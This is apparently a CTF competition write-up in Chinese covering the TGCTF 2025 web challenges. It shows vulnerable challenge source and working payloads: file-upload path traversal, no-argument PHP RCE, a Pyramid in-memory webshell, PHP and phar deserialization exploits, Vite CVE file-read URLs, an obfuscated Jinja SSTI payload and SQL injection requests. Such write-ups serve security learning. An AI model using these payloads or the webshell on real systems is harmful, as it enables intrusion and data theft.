Web

(ez)upload

hint写有源码泄露

index.php.bak拿源码

 1<?php
 2define('UPLOAD_PATH', __DIR__ . '/uploads/');
 3$is_upload = false;
 4$msg = null;
 5$status_code = 200; // 默认状态码为 200
 6if (isset($_POST['submit'])) {
 7    if (file_exists(UPLOAD_PATH)) {
 8        $deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");
 9
10        if (isset($_GET['name'])) {
11            $file_name = $_GET['name'];
12        } else {
13            $file_name = basename($_FILES['name']['name']);
14        }
15        $file_ext = pathinfo($file_name, PATHINFO_EXTENSION);
16
17        if (!in_array($file_ext, $deny_ext)) {
18            $temp_file = $_FILES['name']['tmp_name'];
19            $file_content = file_get_contents($temp_file);
20
21            if (preg_match('/.+?</s', $file_content)) {
22                $msg = '文件内容包含非法字符,禁止上传!';
23                $status_code = 403; // 403 表示禁止访问
24            } else {
25                $img_path = UPLOAD_PATH . $file_name;
26                if (move_uploaded_file($temp_file, $img_path)) {
27                    $is_upload = true;
28                    $msg = '文件上传成功!';
29                } else {
30                    $msg = '上传出错!';
31                    $status_code = 500; // 500 表示服务器内部错误
32                }
33            }
34        } else {
35            $msg = '禁止保存为该类型文件!';
36            $status_code = 403; // 403 表示禁止访问
37        }
38    } else {
39        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
40        $status_code = 404; // 404 表示资源未找到
41    }
42}
43
44// 设置 HTTP 状态码
45http_response_code($status_code);
46
47// 输出结果
48echo json_encode([
49    'status_code' => $status_code,
50    'msg' => $msg,
51]);

审计一下代码,看到有个name,可以对文件名进行修改,想到目录穿越

利用这个进行目录穿越,把.user.ini传到web目录,然后文件包含1.jpg

img

img

连蚁剑拿flag

AAA偷渡阴平

无参RCE

1?tgctf2025=system(end(current(get_defined_vars())));&b=tac /flag

img

AAA偷渡阴平(复仇)

利用session_id打无参RCE

1/?tgctf2025=session_start();system(hex2bin(session_id()));

将cookie改为

1PHPSESSID=636174202f662a

熟悉的配方,熟悉的味道

题目

 1from pyramid.config import Configurator
 2from pyramid.request import Request
 3from pyramid.response import Response
 4from pyramid.view import view_config
 5from wsgiref.simple_server import make_server
 6from pyramid.events import NewResponse
 7import re
 8from jinja2 import Environment, BaseLoader
 9
10eval_globals = { #防止eval执行恶意代码
11    '__builtins__': {},      # 禁用所有内置函数
12    '__import__': None       # 禁止动态导入
13}
14
15
16def checkExpr(expr_input):
17    expr = re.split(r"[-+*/]", expr_input)
18    print(exec(expr_input))
19
20    if len(expr) != 2:
21        return 0
22    try:
23        int(expr[0])
24        int(expr[1])
25    except:
26        return 0
27
28    return 1
29
30
31def home_view(request):
32    expr_input = ""
33    result = ""
34
35    if request.method == 'POST':
36        expr_input = request.POST['expr']
37        if checkExpr(expr_input):
38            try:
39                result = eval(expr_input, eval_globals)
40            except Exception as e:
41                result = e
42        else:
43            result = "爬!"
44
45
46    template_str = xxx
47
48    env = Environment(loader=BaseLoader())
49    template = env.from_string(template_str)
50    rendered = template.render(expr_input=expr_input, result=result)
51    return Response(rendered)
52
53
54if __name__ == '__main__':
55    with Configurator() as config:
56        config.add_route('home_view', '/')
57        config.add_view(home_view, route_name='home_view')
58        app = config.make_wsgi_app()
59
60    server = make_server('0.0.0.0', 9040, app)
61    server.serve_forever()

审计一下发现在checkExpr处会将传入的内容用exec进行执行

 1def checkExpr(expr_input):
 2    expr = re.split(r"[-+*/]", expr_input)
 3    print(exec(expr_input))
 4
 5    if len(expr) != 2:
 6        return 0
 7    try:
 8        int(expr[0])
 9        int(expr[1])
10    except:
11        return 0
12
13    return 1

测一下发现题目不出网,打pyramid内存马

参考

https://forum.butian.net/share/3974

 1def waff():
 2    def f():
 3        yield g.gi_frame.f_back
 4
 5    g = f()             
 6    frame = next(g)     
 7    b = frame.f_back.f_back.f_globals
 8    def hello(request):
 9        code = request.params['code']
10        res=eval(code)
11        return Response(res)
12
13    config.add_route('shellb', '/shellb')
14    config.add_view(hello, route_name='shellb')
15    config.commit()
16
17waff()

在/shellb处命令执行拿flag即可

什么文件上传?

robots.txt里面看到一个class.php

img

/class.php

php反序列化

exp

 1<?php
 2class yesterday {
 3    public $learn;
 4    public $study="study";
 5    public $try;
 6}
 7class today {
 8    public $doing;
 9    public $did;
10    public $done;
11}
12class future{
13    private $impossible="How can you get here?<br>";
14    private $out;
15    private $no;
16}
17$a = new yesterday();
18$a -> study = new today();
19$a -> study -> doing = new future();
20
21
22echo base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(serialize($a))))));
23
24?>

传入时会截断后4位,随便在后面加几个字符串就好

接下来wow传参RCE拿flag就行

什么文件上传?(复仇)

上一题可以拿到upload.php的源码

 1<?php
 2if(isset($_FILES['file'])) {
 3    $uploadDir = 'uploads/';
 4    if(!file_exists($uploadDir)) {
 5        mkdir($uploadDir, 0777, true);
 6    }
 7
 8    // 白名单允许的扩展名
 9    $allowedExtensions = ['atg'];
10    $fileName = basename($_FILES['file']['name']);
11    $fileExtension = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
12
13    // 检查文件扩展名
14    if(!in_array($fileExtension, $allowedExtensions)) {
15        die("hacker!");
16    }
17
18    $uploadFile = $uploadDir . $fileName;
19
20    if(move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
21        echo "文件已保存到:$uploadFile !";
22    } else {
23        echo "文件保存出错!";
24    }
25}
26?>

class.php

 1<?php
 2highlight_file(__FILE__);
 3error_reporting(0);
 4function best64_decode($str)
 5{
 6    return base64_encode(md5(base64_encode(md5($str))));
 7    }
 8class yesterday {
 9    public $learn;
10    public $study="study";
11    public $try;
12    public function __construct()
13    {
14        $this->learn = "learn<br>";
15    }
16    public function __destruct()
17    {
18        echo "You studied hard yesterday.<br>";
19        return $this->study->hard();
20    }
21}
22class today {
23    public $doing;
24    public $did;
25    public $done;
26    public function __construct(){
27        $this->did = "What you did makes you outstanding.<br>";
28    }
29    public function __call($arg1, $arg2)
30    {
31        $this->done = "And what you've done has given you a choice.<br>";
32        echo $this->done;
33        if(md5(md5($this->doing))==666){
34            return $this->doing();
35        }
36        else{
37            return $this->doing->better;
38        }
39    }
40}
41class tommoraw {
42    public $good;
43    public $bad;
44    public $soso;
45    public function __invoke(){
46        $this->good="You'll be good tommoraw!<br>";
47        echo $this->good;
48    }
49    public function __get($arg1){
50        $this->bad="You'll be bad tommoraw!<br>";
51    }
52
53}
54class future{
55    private $impossible="How can you get here?<br>";
56    private $out;
57    private $no;
58    public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
59
60    public function __set($arg1, $arg2) {
61        if ($this->out->useful7) {
62            echo "Seven is my lucky number<br>";
63            system('whoami');
64        }
65    }
66    public function __toString(){
67        echo "This is your future.<br>";
68        system($_POST["wow"]);
69        return "win";
70    }
71    public function __destruct(){
72        $this->no = "no";
73        return $this->no;
74    }
75}
76if (file_exists($_GET['filename'])){
77    echo "Focus on the previous step!<br>";
78}
79else{
80    $data=substr($_GET['filename'],0,-4);
81    unserialize(best64($data));
82}
83// You learn yesterday, you choose today, can you get to your future?
84?>

这题把直接反序列化写死了

但是我们可以利用file_exists和文件上传打phar反序列化

拿上一题的exp改一改

 1<?php
 2class yesterday {
 3    public $learn;
 4    public $study="study";
 5    public $try;
 6}
 7class today {
 8    public $doing;
 9    public $did;
10    public $done;
11}
12class future{
13    private $impossible="How can you get here?<br>";
14    private $out;
15    private $no;
16}
17$a = new yesterday();
18$a -> study = new today();
19$a -> study -> doing = new future();
20
21$phar = new Phar("1.phar");
22$phar->startBuffering();
23$phar->setStub("<php __HALT_COMPILER(); ?>"); //设置stub
24$phar->setMetadata($a); //将自定义meta-data存入manifest
25$phar->addFromString("a", "");  //添加要压缩的文件
26$phar->stopBuffering();
27
28?>

改为1.atg文件上传到uploads目录

在class.php处传入

1?filename=phar://./uploads/1.atg

实现RCE

前端GAME

CVE-2025-30208

1URL/@fs/tgflagggg?import&raw??

前端GAME Plus

CVE-2025-31125

1URL/@fs/tgflagggg?meteorkai.svg?.wasm?init

前端GAME Ultra

https://mp.weixin.qq.com/s/HMhzXqSplWa-IwpftxwTiA

CVE-2025-32395

1curl --request-target /@fs/app/#/../../../../../tgflagggg URL

TG_wordpress

在robots.txt里面看到这两个

img

/.tmp/vuln和/.tmp/.bak

一个二进制文件和一个fscan的扫描结果

 1fscan.exe -h 101.37.149.223 -ping
 2
 3   ___                              _
 4  / _ \     ___  ___ _ __ __ _  ___| | __
 5 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
 6/ /_\\_____\__ \ (__| | | (_| | (__|   <
 7\____/     |___/\___|_|  \__,_|\___|_|\_\
 8                     fscan version: 1.8.4
 9start infoscan
10101.37.149.223:22 open
11101.37.149.223:80 open
12101.37.149.223:443 open
13101.37.149.223:3306 open
14101.37.149.223:27645 open
15101.37.149.223:27646 open
16101.37.149.223:27647 open
17101.37.149.223:27648 open
18101.37.149.223:27649 open
19101.37.149.223:27650 open
20101.37.149.223:27651 open
21101.37.149.223:27652 open
22101.37.149.223:27653 open
23101.37.149.223:27654 open
24101.37.149.223:27655 open
25101.37.149.223:27656 open
26101.37.149.223:27657 open
27101.37.149.223:27658 open
28101.37.149.223:27659 open
29101.37.149.223:27660 open
30101.37.149.223:27661 open
31101.37.149.223:27662 open
32101.37.149.223:33376 open
33101.37.149.223:52013 open

猜到要打pwn

img

nc 101.37.149.223 52013

img

验证猜想

静态编译,而且主函数只有一个get

直接ROPgadget–ropchain梭哈

img

1================================== + HINT(not flag/FLAG): + username/password: + TG_wordpressor + aXx^oV@K&cFoVaztQ* + + All hints have the same content + obtaining one is enough ==================================

拿到后台账户密码

TG_wordpressor/aXx^oV@K&cFoVaztQ*

登进后台找到插件列表 wp-file-manager版本为6.0

https://blog.csdn.net/hongduilanjun/article/details/132851717

1tgctf{CVE-2020-25213}

火眼辩魑魅

img

tgshell.php

img

直接连蚁剑读flag了

img

直面天命

img

把路由爆破出来,/aazz

img

img

直接读flag即可

1?filename=/flag
2//TGCTF{05ee064a-ef29-6e6c-718e-746b002f727e}

直面天命(复仇)

源码

 1import os
 2import string
 3from flask import Flask, request, render_template_string, jsonify, send_from_directory
 4from a.b.c.d.secret import secret_key
 5
 6app = Flask(__name__)
 7
 8black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
 9def waf(name):
10    for x in black_list:
11        if x in name.lower():
12            return True
13    return False
14def is_typable(char):
15    # 定义可通过标准 QWERTY 键盘输入的字符集
16    typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
17    return char in typable_chars
18
19@app.route('/')
20def home():
21    return send_from_directory('static', 'index.html')
22
23@app.route('/jingu', methods=['POST'])
24def greet():
25    template1=""
26    template2=""
27    name = request.form.get('name')
28    template = f'{name}'
29    if waf(name):
30        template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹
31'
32    else:
33        k=0
34        for i in name:
35            if is_typable(i):
36                continue
37            k=1
38            break
39        if k==1:
40            if not (secret_key[:2] in name and secret_key[2:]):
41                template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧
42
43再去西行历练历练
44'
45                return render_template_string(template)
46            template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”
47最后如果你用了cat就可以见到齐天大圣了
48"
49            template= template.replace("天命","{{").replace("难违","}}")
50            template = template
51    if "cat" in template:
52        template2 = '
53或许你这只叫天命人的猴子真的能做到
54'
55    try:
56        return template1+render_template_string(template)+render_template_string(template2)
57    except Exception as e:
58        error_message = f"500报错了,查询语句如下:
59{template}"
60        return error_message, 400
61
62@app.route('/hint', methods=['GET'])
63def hinter():
64    template="hint:
65有一个aazz路由去那里看看吧天命人!"
66    return render_template_string(template)
67
68@app.route('/aazz', methods=['GET'])
69def finder():
70    with open(__file__, 'r') as f:
71        source_code = f.read()
72    return f"
73{source_code}
74", 200, {'Content-Type': 'text/html; charset=utf-8'}
75
76if __name__ == '__main__':
77    app.run(host='0.0.0.0', port=80)

打ssti

payload

1天命((cycler.next["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]('o''s'))['p''open']('cat /flag'))['r''ead']()难违

TGCTF 2025 后台管理

题目给了后台的一个账号,tg/tg123

进后台发现什么都没有,甚至可以直接在cookie改身份

回到登录界面尝试万能密码发现有waf,那应该要打sql

img

waf了单引号,通过转义绕过即可

1username=admin\&password=or 1=1#

img

尝试联合注入,set-cookie处有回显

但是有长度限制,在读表名处卡了很久

后面直接猜表名是flag,直接打无列名

https://www.cnblogs.com/q1stop/p/18024992

利用join打无列名

 1POST /login HTTP/1.1
 2Host: 124.71.147.99:9045
 3Accept-Language: zh-CN,zh;q=0.9
 4Content-Type: application/x-www-form-urlencoded
 5Cache-Control: max-age=0
 6Origin: http://124.71.147.99:9045
 7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
 8Referer: http://124.71.147.99:9045/login
 9Accept-Encoding: gzip, deflate
10Upgrade-Insecure-Requests: 1
11Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
12Content-Length: 25
13
14username=admin\&password={{urlenc(union select * from (select * from flag a join flag b)c#)}}

img

 1POST /login HTTP/1.1
 2Host: 124.71.147.99:9045
 3Accept-Language: zh-CN,zh;q=0.9
 4Content-Type: application/x-www-form-urlencoded
 5Cache-Control: max-age=0
 6Origin: http://124.71.147.99:9045
 7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
 8Referer: http://124.71.147.99:9045/login
 9Accept-Encoding: gzip, deflate
10Upgrade-Insecure-Requests: 1
11Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
12Content-Length: 25
13
14username=admin\&password={{urlenc(union select value,2 from flag#)}}

img

1TGCTF{ac4ca16f-f1508c-000342}